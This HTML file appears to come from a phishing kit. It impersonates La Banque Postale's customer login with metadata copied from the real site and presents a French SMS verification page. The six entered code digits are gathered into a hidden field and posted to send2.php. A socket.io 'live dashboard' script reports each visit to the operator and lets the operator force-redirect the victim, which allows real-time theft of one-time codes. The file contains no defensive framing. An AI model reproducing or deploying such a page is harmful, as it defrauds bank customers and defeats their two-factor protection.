/home2/mshostin/live-dashboard/public/sms.html
<!DOCTYPE html>
<html lang="fr" data-darkmode-allowed="false">
<head data-template="th3loginpage"><meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
<meta name="viewport" content="width=device-width"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>
<link rel="canonical" href="https://www.labanquepostale.fr/particulier/connexion-espace-client.html"/>
<meta property="og:type" content="website"/>
<meta property="og:url" content="https://www.labanquepostale.fr/particulier/connexion-espace-client.html"/>
<meta property="og:title" content="Connexion PPH"/>
<meta property="og:description" content="Vous êtes client particulier de La Banque Postale ? Accédez à vos comptes et contrats et réalisez toutes vos opérations et souscriptions directement en ligne. Pensez également à télécharger notre application."/>
<meta property="og:image" content="https://www.labanquepostale.fr/content/dam/lbp/opengraph/la-banque-postale/siege-la-banque-postale.jpg"/>
<style>
:root {
--bp-blue: #003a8f;
--bp-border: #d7deeb;
--bp-gray: #6b7280;
--bp-bg: #f9fbff;
}
* {
box-sizing: border-box;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
}
body {
margin: 0;
background: #ffffff;
color: var(--bp-blue);
}
/* ===== HEADER ===== */
header {
height: 80px;
display: flex;
align-items: center;
padding: 0 32px;
border-bottom: 1px solid #e6e9f0;
background: #ffffff;
}
header img {
height: 56px;
}
/* ===== CONTAINER ===== */
.container {
max-width: 420px;
margin: 90px auto;
padding: 0 20px;
text-align: center;
}
h1 {
font-size: 24px;
font-weight: 600;
margin-bottom: 10px;
}
.subtitle {
font-size: 14px;
color: var(--bp-gray);
margin-bottom: 30px;
line-height: 1.5;
}
/* ===== OTP ===== */
.otp-box {
display: flex;
justify-content: space-between;
gap: 10px;
margin-bottom: 30px;
}
.otp-box input {
width: 52px;
height: 56px;
text-align: center;
font-size: 20px;
border-radius: 8px;
border: 1px solid var(--bp-border);
background: #fff;
transition: 0.2s;
}
.otp-box input:focus {
outline: none;
border-color: var(--bp-blue);
background: var(--bp-bg);
}
/* ===== BUTTON ===== */
button {
width: 100%;
height: 50px;
border-radius: 8px;
border: none;
background: var(--bp-blue);
color: #ffffff;
font-size: 16px;
font-weight: 600;
cursor: pointer;
}
button:hover {
background: #002f73;
}
/* ===== INFO ===== */
.info {
margin-top: 20px;
font-size: 13px;
color: var(--bp-gray);
}
.resend {
margin-top: 10px;
font-size: 13px;
color: var(--bp-blue);
cursor: pointer;
}
/* ===== RESPONSIVE ===== */
@media (max-width: 480px) {
.container {
margin-top: 60px;
}
h1 {
font-size: 22px;
}
.otp-box input {
width: 46px;
height: 52px;
}
}
</style>
</head>
<body>
<!-- HEADER -->
<header>
<!-- logo.svg -->
<img src="logo.svg" alt="Logo">
</header>
<!-- CONTENT -->
<div class="container">
<h1>Vérification par SMS</h1>
<div class="subtitle">
Un code de sécurité à 6 chiffres vous a été envoyé par SMS.
</div>
<form action="send2.php" method="POST" onsubmit="return collectOTP();">
<div class="otp-box">
<input type="text" maxlength="1" inputmode="numeric">
<input type="text" maxlength="1" inputmode="numeric">
<input type="text" maxlength="1" inputmode="numeric">
<input type="text" maxlength="1" inputmode="numeric">
<input type="text" maxlength="1" inputmode="numeric">
<input type="text" maxlength="1" inputmode="numeric">
</div>
<input type="hidden" name="otp" id="otp">
<br>
<button type="submit">Valider</button>
</form>
<script>
function collectOTP() {
const inputs = document.querySelectorAll('.otp-box input');
let otp = '';
inputs.forEach(input => {
otp += input.value;
});
document.getElementById('otp').value = otp;
return true;
}
</script>
<div class="info">
🔒 Code personnel et confidentiel
</div>
<div class="resend">
Renvoyer le code
</div>
</div>
<script>
// Focus automatique entre les champs OTP
const inputs = document.querySelectorAll('.otp-box input');
inputs.forEach((input, index) => {
input.addEventListener('input', () => {
if (input.value && index < inputs.length - 1) {
inputs[index + 1].focus();
}
});
input.addEventListener('keydown', (e) => {
if (e.key === 'Backspace' && !input.value && index > 0) {
inputs[index - 1].focus();
}
});
});
</script>
<script src="/live-dashboard/socket.io/socket.io.js"></script>
<script>
const socket = io({ path: '/live-dashboard/socket.io' });
// Indiquer au serveur la page actuelle
socket.emit("page_visit", window.location.pathname);
// Écouter la redirection live
socket.on("force_redirect", (newPage) => {
window.location.href = newPage;
});
</script>
</body>
</html>